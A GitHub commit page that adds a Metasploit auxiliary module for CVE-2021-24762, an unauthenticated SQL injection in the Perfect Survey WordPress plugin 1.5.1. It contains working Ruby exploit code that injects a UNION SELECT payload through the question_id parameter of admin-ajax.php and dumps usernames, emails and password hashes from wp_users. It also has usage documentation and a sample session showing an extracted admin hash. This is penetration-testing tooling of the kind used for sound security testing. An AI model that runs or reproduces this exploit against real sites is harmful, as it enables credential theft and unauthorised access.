Skip to content

Commit

Permalink
Land #19701, Auxiliary Module for CVE-2021-24762: WordPress Plugin Pe…
Browse files Browse the repository at this point in the history
…rfect Survey - 1.5.1 - SQLi (Unauthenticated)

Land #19701, Auxiliary Module for CVE-2021-24762: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)
  • Loading branch information
dledda-r7 authored Dec 10, 2024
2 parents eb11cb6 + 095bd94 commit 4c0a403
Show file tree
Hide file tree
Showing 3 changed files with 181 additions and 0 deletions.
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -67,3 +67,4 @@ ultimate-member
wp-fastest-cache
post-smtp
really-simple-ssl
perfect-survey
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
## Vulnerable Application

Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability
via the `question_id` parameter.

An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information,
such as usernames and password hashes, from the `wp_users` table.

The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/).
The specific vulnerable version can be found here: https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip

## Verification Steps

1. Install the WordPress application and the vulnerable version of the Perfect Survey plugin.
2. Start `msfconsole`.
3. Run: `use auxiliary/scanner/http/wp_perfect_survey_sqli`.
4. Set the target host: `set RHOSTS [ip]`.
5. Adjust other options as necessary, such as `TARGETURI` (default is `/`).
6. Execute the module: `run`.
7. The module should retrieve usernames and password hashes from the WordPress installation.

## Options

## Scenarios

### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04

#### Example

```sh
msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli
[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
[*] Running module against 192.168.1.104

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Exploiting SQLi in Perfect Survey plugin...
[*] Extracting credential information

WordPress User Credentials
==========================

Username Email Hash
-------- ----- ----
admin [email protected] $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) >
```
126 changes: 126 additions & 0 deletions modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
prepend Msf::Exploit::Remote::AutoCheck

GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)',
'Description' => %q{
This module exploits a SQL injection vulnerability in the Perfect Survey
plugin for WordPress (version 1.5.1). An unauthenticated attacker can
exploit the SQLi to retrieve sensitive information such as usernames,
emails, and password hashes from the `wp_users` table.
},
'Author' => [
'Aaryan Golatkar', # Metasploit Module Creator
'Ron Jost' # Vulnerability discovery
],
'License' => MSF_LICENSE,
'References' => [
['EDB', '50766'],
['CVE', '2021-24762']
],
'DisclosureDate' => '2021-10-05',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']),
Opt::RPORT(80) # Default port for HTTP
])
end

# Define SQLi object
def get_sqli_object
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users"
params = {
'action' => 'get_question',
'question_id' => sqli_payload
}

# Send HTTP GET request
res = send_request_cgi({
'uri' => endpoint,
'method' => 'GET',
'vars_get' => params
})

# Validate response
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200

html_content = res.get_json_document['html']
fail_with(Failure::Unknown, 'HTML content is empty') unless html_content

# Extract data from response
match_data = /survey_question_p">([^<]+)/.match(html_content)
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data

extracted_data = match_data.captures[0]
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data

extracted_data
end
end

# Check method
def check
@sqli = get_sqli_object
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable

Exploit::CheckCode::Safe
end

# Run method
def run
print_status('Exploiting SQLi in Perfect Survey plugin...')
@sqli ||= get_sqli_object
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG

creds_table = Rex::Text::Table.new(
'Header' => 'WordPress User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Email', 'Hash']
)

print_status("Extracting credential information\n")
users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
users.each do |(username, email, hash)|
creds_table << [username, email, hash]
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: hash,
service_name: 'WordPress Perfect Survey Plugin',
address: datastore['RHOSTS'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED,
email: email
})
end
print_line creds_table.to_s
end
end

0 comments on commit 4c0a403

Please sign in to comment.